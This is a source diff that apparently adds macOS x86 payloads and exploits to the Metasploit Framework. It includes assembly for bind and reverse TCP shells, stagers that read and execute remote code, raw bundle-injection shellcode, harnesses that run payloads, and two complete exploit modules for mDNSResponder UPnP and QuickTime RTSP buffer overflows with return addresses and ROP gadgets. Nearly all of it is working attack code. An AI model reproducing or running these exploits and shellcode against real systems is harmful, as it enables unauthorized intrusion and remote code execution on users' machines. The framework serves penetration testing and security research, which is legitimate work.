push edx ; spacer + mov al, 197 + int 0x80 + jb end + + ;; read fragment from file descriptor into mmap buffer + mov ebx, eax + add ebx, esi +.read_fragment: + push esi ; nbytes + mov eax, ebx + sub eax, esi + push eax ; buf + push edi ; s + push edx ; spacer + xor eax, eax + mov al, 3 + int 0x80 ; read(edi, eax, esi) + jb end + + sub ebx, eax ; Subtract bytes read to buf end pointer + sub esi, eax ; Subtract bytes read from total + jnz .read_fragment + + jmp ebx diff --git a/external/source/osx/x86/include/_shell.s b/external/source/osx/x86/include/_shell.s new file mode 100644 index 0000000000..ce630ec752 --- /dev/null +++ b/external/source/osx/x86/include/_shell.s @@ -0,0 +1,53 @@ +_shell: + ;; Test if vfork() will be needed. If execve(0, 0, 0) fails with + ;; ENOTSUP, then we are in a threaded process and need to call + ;; vfork(). + xor eax, eax + push eax ; envp + push eax ; argv + push eax ; path + push eax + mov al, 59 ; SYS_execve + int 0x80 + nop + nop + cmp al, 45 ; ENOTSUP + jne .execve_binsh + +.vfork: + mov al, 66 ; SYS_vfork + int 0x80 ; vfork() + cmp edx, byte 0 + jz .wait + + ;; Both child and parent continue to run execve below. The parent + ;; fails and falls through to call wait4(), the child succeeds + ;; and obviously doesn't call wait4() since it has exec'd a new + ;; executable. + +.execve_binsh: + xor eax, eax + push eax ; "\0\0\0\0" + push 0x68732f2f ; "//sh" + push 0x6e69622f ; "/bin" + mov ebx, esp + push eax ; envp + push eax ; argv + push ebx ; path + push eax ; spacer + mov al, 59 ; SYS_execve + int 0x80 + +.wait: + ;; Wait for child process to exit before continuing and crashing + xor eax, eax + push eax + mov ebx, esp + + push eax ; rusage + push eax ; options + push ebx ; stat_loc + push eax ; pid + push eax ; spacer + mov al, 7 + int 0x80 diff --git a/external/source/osx/x86/include/_tcp_connect.s b/external/source/osx/x86/include/_tcp_connect.s new file mode 100644 index 0000000000..386b3e681a --- /dev/null +++ b/external/source/osx/x86/include/_tcp_connect.s @@ -0,0 +1,32 @@ +_tcp_listen: + xor eax, eax ; zero out eax and edx + cdq + + push eax ; IPPROTO_IP + inc eax + push eax ; SOCK_STREAM + inc eax + push eax ; AF_INET + push edx ; spacer + mov al, byte 97 ; SYS_socket + int 0x80 + jb end + mov edi, eax ; Save server socket in esi + + ;; Create sockaddr_in on the stack + push edx + push edx + push 0x0100007f + push 0x12340200 ; sin_port, sin_family, sin_length + mov ebx, esp + + push byte 16 ; address_len + push ebx ; address + push edi ; socket + push edx ; spacer + mov al, 98 ; SYS_connect + int 0x80 ; connect(s, saddr, 16) + jb end + + ;; At this point: + ;; edi - connected socket diff --git a/external/source/osx/x86/include/_tcp_listen.s b/external/source/osx/x86/include/_tcp_listen.s new file mode 100644 index 0000000000..57bfe13dc4 --- /dev/null +++ b/external/source/osx/x86/include/_tcp_listen.s @@ -0,0 +1,52 @@ +_tcp_listen: + xor eax, eax ; zero out eax and edx + cdq + + push eax ; IPPROTO_IP + inc eax + push eax ; SOCK_STREAM + inc eax + push eax ; AF_INET + push edx ; spacer + mov al, byte 97 ; SYS_socket + int 0x80 + jb end + mov esi, eax ; Save server socket in esi + + ;; Create sockaddr_in on the stack + push edx + push edx + push edx + push 0x12340200 ; sin_port, sin_family, sin_length + mov ebx, esp + + push byte 16 ; address_len + push ebx ; address + push esi ; socket + push edx ; spacer + mov al, 104 ; SYS_bind + int 0x80 ; bind(s, saddr, 16) + jb end + + push edx ; backlog + push esi ; socket + push edx ; spacer + mov al, 106 ; SYS_listen + int 0x80 + jb end + + push edx ; socklen_t* address_len = NULL + push edx ; struct sockaddr* address = NULL + push esi ; socket + push edx + mov al, 30 ; SYS_accept + int 0x80 + jb end + + ;; Leave connected socket in edi + mov edi, eax + + ;; At this point: + ;; edi - client socket + ;; esi - server socket + diff --git a/external/source/osx/x86/src/single_bundleinject_bind_tcp.s b/external/source/osx/x86/src/single_bundleinject_bind_tcp.s new file mode 100644 index 0000000000..f9f345f542 --- /dev/null +++ b/external/source/osx/x86/src/single_bundleinject_bind_tcp.s @@ -0,0 +1,6 @@ +BITS 32 + +begin: +%include "_tcp_listen.s" +%include "_inject_bundle.s" +end: diff --git a/external/source/osx/x86/src/single_bundleinject_reverse_tcp.s b/external/source/osx/x86/src/single_bundleinject_reverse_tcp.s new file mode 100644 index 0000000000..2a1631372b --- /dev/null +++ b/external/source/osx/x86/src/single_bundleinject_reverse_tcp.s @@ -0,0 +1,6 @@ +BITS 32 + +begin: +%include "_tcp_connect.s" +%include "_inject_bundle.s" +end: diff --git a/external/source/osx/x86/src/single_shell_bind_tcp.s b/external/source/osx/x86/src/single_shell_bind_tcp.s new file mode 100644 index 0000000000..4ea1c1c984 --- /dev/null +++ b/external/source/osx/x86/src/single_shell_bind_tcp.s @@ -0,0 +1,9 @@ +BITS 32 + +_single_bind_tcp: +begin: +%include "_tcp_listen.s" +%include "_dup2_std_fds.s" +%include "_shell.s" +%include "_exit.s" +end: diff --git a/external/source/osx/x86/src/single_shell_reverse_tcp.s b/external/source/osx/x86/src/single_shell_reverse_tcp.s new file mode 100644 index 0000000000..4ce40a594e --- /dev/null +++ b/external/source/osx/x86/src/single_shell_reverse_tcp.s @@ -0,0 +1,9 @@ +BITS 32 + +_single_bind_tcp: +begin: +%include "_tcp_connect.s" +%include "_dup2_std_fds.s" +%include "_shell.s" +%include "_exit.s" +end: diff --git a/external/source/osx/x86/src/stage_bundleinject.s b/external/source/osx/x86/src/stage_bundleinject.s new file mode 100644 index 0000000000..81655eb185 --- /dev/null +++ b/external/source/osx/x86/src/stage_bundleinject.s @@ -0,0 +1,3 @@ +BITS 32 + +%include "_inject_bundle.s" diff --git a/external/source/osx/x86/src/stage_shell.s b/external/source/osx/x86/src/stage_shell.s new file mode 100644 index 0000000000..481e28e3e1 --- /dev/null +++ b/external/source/osx/x86/src/stage_shell.s @@ -0,0 +1,8 @@ +BITS 32 + +_single_bind_tcp: +begin: +%include "_dup2_std_fds.s" +%include "_shell.s" +%include "_exit.s" +end: diff --git a/external/source/osx/x86/src/stager_bind_tcp.s b/external/source/osx/x86/src/stager_bind_tcp.s new file mode 100644 index 0000000000..51a614ba0d --- /dev/null +++ b/external/source/osx/x86/src/stager_bind_tcp.s @@ -0,0 +1,18 @@ +;;; +;;; bind_tcp - Bind TCP Stager +;;; + +BITS 32 + +;;; -------------------------------------------------------------------- +;;; bind_tcp() +;;; +;;; Listen on a TCP socket, receive subsequent stage, and execute it. +;;; +;;; -------------------------------------------------------------------- + +_bind_tcp: +begin: +%include "_tcp_listen.s" +%include "_read_exec.s" +end: diff --git a/external/source/osx/x86/src/stager_reverse_tcp.s b/external/source/osx/x86/src/stager_reverse_tcp.s new file mode 100644 index 0000000000..8c71f0314d --- /dev/null +++ b/external/source/osx/x86/src/stager_reverse_tcp.s @@ -0,0 +1,18 @@ +;;; +;;; bind_tcp - Bind TCP Stager +;;; + +BITS 32 + +;;; -------------------------------------------------------------------- +;;; bind_tcp() +;;; +;;; Listen on a TCP socket, receive subsequent stage, and execute it. +;;; +;;; -------------------------------------------------------------------- + +_bind_tcp: +begin: +%include "_tcp_connect.s" +%include "_read_exec.s" +end: diff --git a/external/source/osx/x86/src/test/Makefile b/external/source/osx/x86/src/test/Makefile new file mode 100644 index 0000000000..3f1ba73f29 --- /dev/null +++ b/external/source/osx/x86/src/test/Makefile @@ -0,0 +1,5 @@ +test: test_component server + ./run_tests.sh + +clean: + rm test_component server diff --git a/external/source/osx/x86/src/test/run_tests.sh b/external/source/osx/x86/src/test/run_tests.sh new file mode 100644 index 0000000000..0320913979 --- /dev/null +++ b/external/source/osx/x86/src/test/run_tests.sh @@ -0,0 +1,138 @@ +#!/bin/sh + +LPORT=13330 + +function run_payload() +{ + ./test_component $1 & + sleep 1 +} + + +function test_single_bind_tcp_shell() +{ + run_payload ../../bin/single_bind_tcp_shell.bin + + echo "expr 1234 + 5678" | nc -4 -vv -w 5 localhost $LPORT | grep "6912" + + wait + + return $? +} + +function test_single_reverse_tcp_shell() +{ + (echo "expr 1234 + 5678" | nc -4 -vv -w 5 -l localhost $LPORT | grep "6912"; RESULT=$?) & + + sleep 1 + + (./test_component ../../bin/single_reverse_tcp_shell.bin) + + wait + + return $RESULT +} + +function test_staged_bind_tcp_shell() +{ + run_payload ../../bin/stager_bind_tcp.bin + + (./write_size_and_data.rb ../../bin/stage_shell.bin ; echo "expr 1234 + 5678" ) | nc -4 -vv -w 5 localhost $LPORT | grep "6912" + + wait + + return $? +} + +function test_staged_reverse_tcp_shell() +{ + ((./write_size_and_data.rb ../../bin/stage_shell.bin; echo "expr 1234 + 5678" ) | nc -4 -vv -w 5 -l localhost $LPORT | grep "6912"; RESULT=$?) & + + sleep 1 + + ./test_component ../../bin/stager_reverse_tcp.bin + + wait + + return $RESULT +} + +function test_staged_bind_tcp_bundleinject() +{ + # Setup + run_payload ../../bin/stager_bind_tcp.bin + + # Test + TMPFILE=`mktemp isightXXXXXX` || exit 1 + ( ./write_size_and_data.rb ../../bin/stage_bundleinject.bin ; ./write_size_and_data.rb ../../../../bundles/isight/isight.bundle ) | nc -4 -vv -w 5 localhost $LPORT | (dd bs=1 skip=4 of=$TMPFILE) + + # Verify + file $TMPFILE | grep JPEG + RESULT=$? + + # Cleanup + rm $TMPFILE + + wait + + return $RESULT +} + +function test_staged_reverse_tcp_bundleinject() +{ + # Setup + TMPFILE=`mktemp isightXXXXXX` || exit 1 + + (( ./write_size_and_data.rb ../../bin/stage_bundleinject.bin ; ./write_size_and_data.rb ../../../../bundles/isight/isight.bundle ) | nc -4 -vv -l -w 5 localhost $LPORT | dd bs=1 skip=4 of=$TMPFILE) & + sleep 1 + + run_payload ../../bin/stager_reverse_tcp.bin + + wait + + # Verify + file $TMPFILE | grep JPEG + RESULT=$? + + if [ $RESULT -eq 0 ]; then + # Cleanup + rm $TMPFILE + fi + + return $RESULT +} + +SLEEP=65 + +echo "==> Testing single_reverse_tcp_shell..." +test_single_reverse_tcp_shell || exit 1 +echo "Sleeping $SLEEP seconds..." +sleep $SLEEP + +echo "==> Testing single_bind_tcp_shell..." +test_single_bind_tcp_shell || exit 1 +echo "Sleeping $SLEEP seconds..." +sleep $SLEEP + +echo "==> Testing stager_bind_tcp + stage_shell..." +test_staged_bind_tcp_shell || exit 1 +echo "Sleeping $SLEEP seconds..." +sleep $SLEEP + +echo "==> Testing stager_reverse_tcp + stage_shell..." +test_staged_reverse_tcp_shell || exit 1 +echo "Sleeping $SLEEP seconds..." +sleep $SLEEP + +echo "==> Testing stager_bind_tcp + bundleinject + isight.bundle..." +test_staged_bind_tcp_bundleinject || exit 1 +echo "Sleeping $SLEEP seconds..." +sleep $SLEEP + +echo "==> Testing stager_reverse_tcp + bundleinject + isight.bundle..." +test_staged_reverse_tcp_bundleinject || exit 1 +echo "Sleeping $SLEEP seconds..." + +echo +echo "==> All tests passed successfully!" +echo diff --git a/external/source/osx/x86/src/test/server.c b/external/source/osx/x86/src/test/server.c new file mode 100644 index 0000000000..70233738bf --- /dev/null +++ b/external/source/osx/x86/src/test/server.c @@ -0,0 +1,136 @@ +#include +#include +#include +#include +#include + +#include +#include +#include +#include + +void usage(char* argv0) +{ + fprintf(stderr, "usage: %s [ -t ] [ -p ]\n", argv0); +} + +int read_and_exec(int s) +{ + int n, length; + int (*payload)(void); + + fprintf(stderr, "Reading length... "); + if ((n = recv(s, &length, sizeof(length), 0)) != sizeof(length)) { + if (n < 0) + perror("recv"); + else + fprintf(stderr, "recv: short read\n"); + return -1; + } + fprintf(stderr, "%d\n", length); + + fprintf(stderr, "Allocating buffer... "); + if ((payload = mmap(NULL, length, PROT_READ | PROT_WRITE | PROT_EXEC, + MAP_ANON | MAP_PRIVATE, -1, 0)) == (void*)-1) { + perror("mmap"); + return -1; + } + fprintf(stderr, "0x%x\n", payload); + + fprintf(stderr, "Reading payload... "); + if ((n = recv(s, payload, length, 0)) != length) { + if (n < 0) + perror("recv"); + else + fprintf(stderr, "recv: short read\n"); + return -1; + } + fprintf(stderr, "read %d bytes\n", n); + + fprintf(stderr, "Executing payload...\n"); + + (void*)(*payload)(); + + return 0; +} + +void* read_and_exec_thread(void* arg) +{ + return (void*)read_and_exec((int)arg); +} + +int create_read_and_exec_thread(int c) +{ + int err; + pthread_t pthread; + void* return_value; + + if ((err = pthread_create(&pthread, NULL, + read_and_exec_thread, (void*)c)) != 0) { + fprintf(stderr, "pthread_create: %s\n", strerror(err)); + return -1; + } + + if ((err = pthread_join(pthread, &return_value)) != 0) { + fprintf(stderr, "pthread_join: %s\n", strerror(err)); + return -1; + } +} + +int main(int argc, char* argv[]) +{ + int c, s, val, threaded = 0; + socklen_t salen; + struct sockaddr_in saddr, client_saddr; + short port = 1234; + + while ((c = getopt(argc, argv, "tp:")) != EOF) { + switch (c) { + case 'p': + port = atoi(optarg); + break; + case 't': + threaded = 1; + break; + default: + usage(argv[0]); + exit(EXIT_FAILURE); + } + } + + if ((s = socket(AF_INET, SOCK_STREAM, IPPROTO_IP)) < 0) { + perror("socket"); + exit(EXIT_FAILURE); + } + + val = 1; + if (setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &val, sizeof(val)) < 0) { + perror("setsockopt"); + exit(EXIT_FAILURE); + } + + bzero(&saddr, sizeof(saddr)); + saddr.sin_family = AF_INET; + saddr.sin_port = htons(port); + saddr.sin_addr.s_addr = INADDR_ANY; + + if (bind(s, (struct sockaddr*)&saddr, sizeof(saddr)) < 0) { + perror("bind"); + exit(EXIT_FAILURE); + } + + if (listen(s, 5) < 0) { + perror("listen"); + exit(EXIT_FAILURE); + } + + if ((c = accept(s, (struct sockaddr*)&client_saddr, &salen)) < 0) { + perror("accept"); + exit(EXIT_FAILURE); + } + + if (threaded) + exit(create_read_and_exec_thread(c)); + else + exit(read_and_exec(c)); +} diff --git a/external/source/osx/x86/src/test/test_component.c b/external/source/osx/x86/src/test/test_component.c new file mode 100644 index 0000000000..b6ab13ea15 --- /dev/null +++ b/external/source/osx/x86/src/test/test_component.c @@ -0,0 +1,76 @@ +/* + * test_component: Read in a component and execute it + */ + +#include +#include +#include +#include +#include + +int read_and_exec_file(char* file) +{ + char* buf = malloc(10000); + int f, n; + + if ((f = open(file, O_RDONLY, 0)) < 0) { + perror("open"); + exit(EXIT_FAILURE); + } + + if ((n = read(f, buf, 100000)) < 0) { + perror("read"); + exit(EXIT_FAILURE); + } + + //printf("==> Read %d bytes, executing component...\n", n); + + ((void(*)(void))buf)(); + + printf("==> Done.\n"); + + return 0; +} + +int create_read_and_exec_thread(char* file) +{ + int err; + pthread_t pthread; + void* return_value; + + if ((err = pthread_create(&pthread, NULL, + read_and_exec_file, (void*)file)) != 0) { + fprintf(stderr, "pthread_create: %s\n", strerror(err)); + return -1; + } + + if ((err = pthread_join(pthread, &return_value)) != 0) { + fprintf(stderr, "pthread_join: %s\n", strerror(err)); + return -1; + } + + return 0; +} + +int main(int argc, char* argv[]) +{ + int c; + int threaded = 0; + + while ((c = getopt(argc, argv, "tp:")) != EOF) { + switch (c) { + case 't': + threaded = 1; + break; + default: + fprintf(stderr, "usage: %s [ -t ] payload_bin\n", argv[0]); + exit(EXIT_FAILURE); + } + } + + + if (threaded) + create_read_and_exec_thread(argv[optind]); + else + read_and_exec_file(argv[optind]); +} diff --git a/external/source/osx/x86/src/test/write_size_and_data.rb b/external/source/osx/x86/src/test/write_size_and_data.rb new file mode 100644 index 0000000000..35a754d2e5 --- /dev/null +++ b/external/source/osx/x86/src/test/write_size_and_data.rb @@ -0,0 +1,9 @@ +#!/usr/bin/env ruby +# +# Write data preceded by little-endian 4-byte size +# + +bundle = IO::read(ARGV[0]) + +data = [bundle.length, bundle].pack('Va*') +STDOUT.write(data) diff --git a/lib/msf/core/payload/osx/bundleinject.rb b/lib/msf/core/payload/osx/bundleinject.rb new file mode 100644 index 0000000000..21ddfb5d79 --- /dev/null +++ b/lib/msf/core/payload/osx/bundleinject.rb @@ -0,0 +1,100 @@ +require 'msf/core' + +module Msf + +### +# +# BundleInject common module stub that is meant to be included in payloads that +# make use of Mach-O bundle injection. +# +### +module Payload::Osx::BundleInject + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Mac OS X Inject Mach-O Bundle', + 'Version' => '$Revision$', + 'Description' => 'Inject a custom Mach-O bundle into the exploited process', + 'Author' => + [ + 'Dino Dai Zovi ', + ], + 'License' => MSF_LICENSE, + 'Platform' => 'osx', + 'Arch' => ARCH_X86, + 'PayloadCompat' => + { + 'Convention' => 'sockedi' + }, + 'Stage' => + { + 'Payload' => + "\xe9\xc1\x00\x00\x00\x8b\x44\x24\x04\x50\x68\x00\x00\xe0\x8f\xe8"+ + "\x03\x00\x00\x00\xc2\x04\x00\x55\x89\xe5\x83\xec\x0c\x53\x56\x57"+ + "\x8b\x5d\x08\x8b\x43\x10\x89\x45\xfc\x80\xc3\x1c\x31\xc0\x39\x45"+ + "\xfc\x0f\x84\x88\x00\x00\x00\x40\x39\x03\x74\x10\x40\x39\x03\x74"+ + "\x41\xff\x4d\xfc\x03\x5b\x04\xe9\xe0\xff\xff\xff\x81\x7b\x0a\x54"+ + "\x45\x58\x54\x74\x0e\x81\x7b\x0a\x4c\x49\x4e\x4b\x74\x10\xe9\xde"+ + "\xff\xff\xff\x8b\x43\x18\x89\x45\xf8\xe9\xd3\xff\xff\xff\x8b\x43"+ + "\x18\x2b\x45\xf8\x03\x45\x08\x2b\x43\x20\x89\x45\xf4\xe9\xbf\xff"+ + "\xff\xff\x8b\x4b\x0c\x31\xc0\x39\xc1\x74\x34\x49\x6b\xd1\x0c\x03"+ + "\x53\x08\x03\x55\xf4\x8b\x32\x03\x73\x10\x03\x75\xf4\x31\xff\xfc"+ + "\x31\xc0\xac\x38\xe0\x74\x0a\xc1\xcf\x0d\x01\xc7\xe9\xef\xff\xff"+ + "\xff\x3b\x7d\x0c\x75\xcf\x8b\x42\x08\x2b\x45\xf8\x03\x45\x08\x5f"+ + "\x5e\x5b\xc9\xc2\x08\x00\x55\x89\xe5\x83\xec\x0c\x89\xfe\x31\xc0"+ + "\xb0\x04\x50\x8d\x7d\xfc\x57\x56\x50\x48\xcd\x80\x72\x12\x39\xc8"+ + "\x74\x0e\x8b\x4d\xfc\x31\xc0\x39\xc1\x74\x05\xe9\x05\x00\x00\x00"+ + "\xe9\xa8\x00\x00\x00\x31\xc0\x50\x68\xff\xff\xff\xff\x68\x02\x10"+ + "\x00\x00\x68\x03\x00\x00\x00\x51\x50\x50\xb0\xc5\xcd\x80\x0f\x82"+ + "\x89\x00\x00\x00\x89\xc7\x89\x7d\xf8\x31\xc0\x51\x57\x56\x50\xb0"+ + "\x03\xcd\x80\x72\x78\x01\xc7\x29\xc1\x75\xee\x8b\x7d\xf8\x83\xec"+ + "\x10\x81\xe4\xf0\xff\xff\xff\x6a\x00\x8d\x45\xf8\x50\xff\x75\x0c"+ + "\x57\x68\x81\x2a\x6b\x74\xe8\xba\xfe\xff\xff\xff\xd0\x3c\x01\x75"+ + "\x4c\x31\xc0\x50\xb0\x05\x50\x54\xff\x75\xf8\x68\x91\x81\xb1\x76"+ + "\xe8\xa0\xfe\xff\xff\xff\xd0\x89\xc3\x31\xc0\x50\x68\x5f\x72\x75"+ + "\x6e\x89\xe0\x50\x53\x68\x9d\xf3\xd0\x4f\xe8\x86\xfe\xff\xff\xff"+ + "\xd0\x81\xec\x0c\x00\x00\x00\x50\x68\x52\x58\x4e\xa5\xe8\x73\xfe"+ + "\xff\xff\xff\xd0\x81\xec\x0c\x00\x00\x00\x56\xff\xd0\x31\xc0\x50"+ + "\x50\xb0\x01\xcd\x80" + } + )) + + register_options( + [ + OptPath.new('BUNDLE', [ true, "The local path to the Mach-O bundle to upload" ]), + ], self.class) + end + + # + # Transmits the DLL injection payload and its associated DLL to the remote + # computer so that it can be loaded into memory. + # + def handle_connection_stage(conn) + data = "" + + begin + File.open(datastore['BUNDLE'], "rb") { |f| + data += f.read + } + rescue + print_error("Failed to load bundle: #{$!}.") + + # TODO: exception + conn.close + return + end + + print_status("Uploading bundle (#{data.length} bytes)...") + + # Send the size of the thing we're transferring + conn.put([ data.length ].pack('V')) + # Send the image + conn.put(data) + + print_status("Upload completed.") + + # Call the parent so the session gets created. + super + end +end +end diff --git a/modules/exploits/osx/mdns/upnp_location.rb b/modules/exploits/osx/mdns/upnp_location.rb new file mode 100644 index 0000000000..5e18c6aea2 --- /dev/null +++ b/modules/exploits/osx/mdns/upnp_location.rb @@ -0,0 +1,200 @@ +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + include Exploit::Remote::Udp + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Mac OS X mDNSResponder UPnP Location Overflow', + 'Platform' => 'osx', + 'DefaultOptions' => { + 'SRVPORT' => 1900, + 'RPORT' => 0 + }, + 'Targets' => [ + [ '10.4.8 x86', { # mDNSResponder-108.2 + 'Arch' => ARCH_X86, + + # Offset to mDNSStorage structure + 'Offset' => 21000, + 'Magic' => 0x8fe510a0, + 'g_szRouterHostPortDesc' => 0x53dc0, + } + ], + [ '10.4.0 PPC', { # mDNSResponder-107 + 'Arch' => ARCH_PPC, + 'Offset' => 21000, + 'Magic' => 0x8fe51f4c, + 'Ret' => 0x8fe41af8, + } + ], + ], + 'DefaultTarget' => 1, + + 'Payload' => { + 'BadChars' => "\x00\x3a\x2f", + 'StackAdjustment' => 0, + 'Space' => 468 + } + )) + + register_options([ + Opt::LHOST(), + OptPort.new('SRVPORT', + [true, "The UPNP server port to listen on", 1900]) + ], self.class) + + @mutex = Mutex.new() + @found_upnp_port = false + @key_to_port = Hash.new() + @upnp_port = 0 + @client_socket = nil + end + + def check + # + # TODO: Listen on two service ports, one a single character + # shorter than the other (i.e 1900 and 19000). If the copy was + # truncated by strlcpy, it will connect to the service listening + # on the shorter port number. + # + upnp_port = scan_for_upnp_port() + if (upnp_port > 0) + return Exploit::CheckCode::Detected + else + return Exploit::CheckCode::Unsupported + end + end + + def upnp_server(server) + client = server.accept() + request = client.readline() + if (request =~ /GET \/([\da-f]+).xml/) + @mutex.synchronize { + @found_upnp_port = true + @upnp_port = @key_to_port[$1] + + # Important: Keep the client connection open + @client_socket = client + } + end + end + + def scan_for_upnp_port + @upnp_port = 0 + @found_upnp_port = false + + upnp_port = 0 + + # XXX: Do this in a more Metasploit-y way + server = TCPServer.open(1900) + server_thread = Thread.new { self.upnp_server(server) } + + begin + socket = Rex::Socket.create_udp + + upnp_location = + "http://" + datastore['LHOST'] + ":" + datastore['SRVPORT'] + + puts "[*] Listening for UPNP requests on: #{upnp_location}" + puts "[*] Sending UPNP Discovery replies..." + + i = 49152; + while i < 65536 && @mutex.synchronize { @found_upnp_port == false } + key = sprintf("%.2x%.2x%.2x%.2x%.2x", + rand(255), rand(255), rand(255), rand(255), rand(255)) + + @mutex.synchronize { + @key_to_port[key] = i + } + + upnp_reply = + "HTTP/1.1 200 Ok\r\n" + + "ST: urn:schemas-upnp-org:service:WANIPConnection:1\r\n" + + "USN: uuid:7076436f-6e65-1063-8074-0017311c11d4\r\n" + + "Location: #{upnp_location}/#{key}.xml\r\n\r\n" + + socket.sendto(upnp_reply, datastore['RHOST'], i) + + i += 1 + end + + @mutex.synchronize { + if (@found_upnp_port) + upnp_port = @upnp_port + end + } + ensure + server.close + server_thread.join + end + + return upnp_port + end + + def exploit + # + # It is very important that we scan for the upnp port. We must + # receive the TCP connection and hold it open, otherwise the + # code path that uses the overwritten function pointer most + # likely won't be used. Holding this connection increases the + # chance that the code path will be used dramatically. + # + upnp_port = scan_for_upnp_port() + + if upnp_port == 0 + raise "Could not find listening UPNP UDP socket" + end + + datastore['RPORT'] = upnp_port + + socket = connect_udp() + + if (target['Arch'] == ARCH_X86) + space = "A" * target['Offset'] + space[0, payload.encoded.length] = payload.encoded + + pattern = Rex::Text.pattern_create(47) + pattern[20, 4] = [target['Magic']].pack('V') + pattern[44, 3] = [target['g_szRouterHostPortDesc']].pack('V')[0..2] + + boom = space + pattern + usn = "" + + elsif (target['Arch'] == ARCH_PPC) + space = "A" * target['Offset'] + + pattern = Rex::Text.pattern_create(48) + pattern[20, 4] = [target['Magic']].pack('N') + + # + # r26, r27, r30, r31 point to g_szUSN+556 + # Ret should be a branch to one of these registers + # And we make sure to put our payload in the USN header + # + pattern[44, 4] = [target['Ret']].pack('N') + + boom = space + pattern + + # + # Start payload at offset 556 within USN + # + usn = "A" * 556 + payload.encoded + end + + upnp_reply = + "HTTP/1.1 200 Ok\r\n" + + "ST: urn:schemas-upnp-org:service:WANIPConnection:1\r\n" + + "USN: #{usn}\r\n" + + "Location: http://#{boom}\r\n\r\n" + + puts "[*] Sending evil UPNP response" + socket.put(upnp_reply) + + puts "[*] Sleeping to give mDNSDaemonIdle() a chance to run" + sleep(10) + + handler() + disconnect_udp() + end +end diff --git a/modules/exploits/osx/rtsp/quicktime_rtsp_content_type.rb b/modules/exploits/osx/rtsp/quicktime_rtsp_content_type.rb new file mode 100644 index 0000000000..46e394de14 --- /dev/null +++ b/modules/exploits/osx/rtsp/quicktime_rtsp_content_type.rb @@ -0,0 +1,157 @@ +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + include Exploit::Remote::TcpServer + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'MacOS X QuickTime RTSP Content-Type Overflow', + 'Platform' => 'osx', + 'Targets' => + [ + [ 'Mac OS X 10.4.0 PowerPC, QuickTime 7.0.0', { + 'Arch' => ARCH_PPC, + 'Ret' => 0x8fe3f88c, + 'RetOffset' => 551, + 'PayloadOffset' => 879 + } + ], + [ 'Mac OS X 10.5.0 PowerPC, QuickTime 7.2.1', { + 'Arch' => ARCH_PPC, + 'Ret' => 0x8fe042e0, + 'RetOffset' => 615, + 'PayloadOffset' => 3351 + } + ], + [ 'Mac OS X 10.4.8 x86, QuickTime 7.1.3', { + 'Arch' => ARCH_X86, + 'Offset' => 307, + + 'Writable' => 0xa0bd0f10, # libSystem __IMPORT + + # The rest of these are all in libSystem __TEXT + 'ret' => 0x9015d336, + 'poppopret' => 0x9015d334, + 'setjmp' => 0x900bc438, + 'strdup' => 0x90012f40, + 'jmp_eax' => 0x9014a77f + } + ], + [ 'Mac OS X 10.5.0 x86, QuickTime 7.2.1', { + 'Arch' => ARCH_X86, + 'Offset' => 307, + + 'Writable' => 0x8fe66448, # dyld __IMPORT + + # The rest of these addresses are in dyld __TEXT + 'ret' => 0x8fe1ceee, + 'poppopret' => 0x8fe220d7, + 'setjmp' => 0x8fe1ceb0, + 'strdup' => 0x8fe1cd77, + 'jmp_eax' => 0x8fe01041 + } + ], + ], + 'DefaultTarget' => 2, + 'Payload' => { + 'Space' => 3841, + 'BadChars' => + "\x00\x0a\x0d", + 'MaxNops' => 0, + 'StackAdjustment' => -3500, + } + )) + end + + ###### + + # XXX: This does not work on Tiger apparently + def make_exec_payload_from_heap_stub() + frag0 = + "\x90" + # nop + "\x58" + # pop eax + "\x61" + # popa + "\xc3" # ret + + frag1 = + "\x90" + # nop + "\x58" + # pop eax + "\x89\xe0" + # mov eax, esp + "\x83\xc0\x0c" + # add eax, byte +0xc + "\x89\x44\x24\x08" + # mov [esp+0x8], eax + "\xc3" # ret + + setjmp = target['setjmp'] + writable = target['Writable'] + strdup = target['strdup'] + jmp_eax = target['jmp_eax'] + + exec_payload_from_heap_stub = + frag0 + + [setjmp].pack('V') + + [writable + 32, writable].pack("V2") + + frag1 + + "X" * 20 + + [setjmp].pack('V') + + [writable + 24, writable, strdup, jmp_eax].pack("V4") + + "X" * 4 + end + + def on_client_connect(client) + print_status("Got client connection...") + + if (target['Arch'] == ARCH_PPC) + ret_offset = target['RetOffset'] + payload_offset = target['PayloadOffset'] + + # Create pattern sized up to payload, since it always follows + # the return address. + boom = Rex::Text.pattern_create(payload_offset) + + boom[ret_offset, 4] = [target['Ret']].pack('N') + boom[payload_offset, payload.encoded.length] = payload.encoded + else + boom = Rex::Text.pattern_create(327) + + boom[307, 4] = [target['ret']].pack('V') + boom[311, 4] = [target['ret']].pack('V') + boom[315, 4] = [target['poppopret']].pack('V') + boom[319, 4] = [target['Writable']].pack('V') + boom[323, 4] = [target['Writable']].pack('V') + + # + # Create exec-payload-from-heap-stub, but split it in two. + # The first word must be placed as the overwritten saved ebp + # in the attack string. The rest is placed after the + # Writable memory addresses. + # + magic = make_exec_payload_from_heap_stub() + boom[303, 4] = magic[0, 4] + boom += magic[4..-1] + + # + # Place the payload immediately after the stub as it expects + # + boom += payload.encoded + end + + body = " " + header = + "RTSP/1.0 200 OK\r\n"+ + "CSeq: 1\r\n"+ + "Content-Type: #{boom}\r\n"+ + "Content-Length: #{body.length}\r\n\r\n" + + print_status("Sending RTSP response...") + client.put(header + body) + + print_status("Sleeping...") + sleep(1) + + print_status("Starting handler...") + handler(client) + + print_status("Closing client...") + service.close_client(client) + end +end diff --git a/modules/payloads/singles/osx/x86/vforkshell_bind_tcp.rb b/modules/payloads/singles/osx/x86/vforkshell_bind_tcp.rb new file mode 100644 index 0000000000..f97574dcf0 --- /dev/null +++ b/modules/payloads/singles/osx/x86/vforkshell_bind_tcp.rb @@ -0,0 +1,64 @@ +## +# $Id$ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/projects/Framework/ +## + + +require 'msf/core' +require 'msf/core/handler/bind_tcp' +require 'msf/base/sessions/command_shell' + + +module Metasploit3 + + include Msf::Payload::Single + include Msf::Payload::Osx + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'OSX (vfork) Command Shell, Bind TCP Inline', + 'Version' => '$Revision$', + 'Description' => 'Listen for a connection, vfork if necessary, and spawn a command shell', + 'Author' => 'Dino Dai 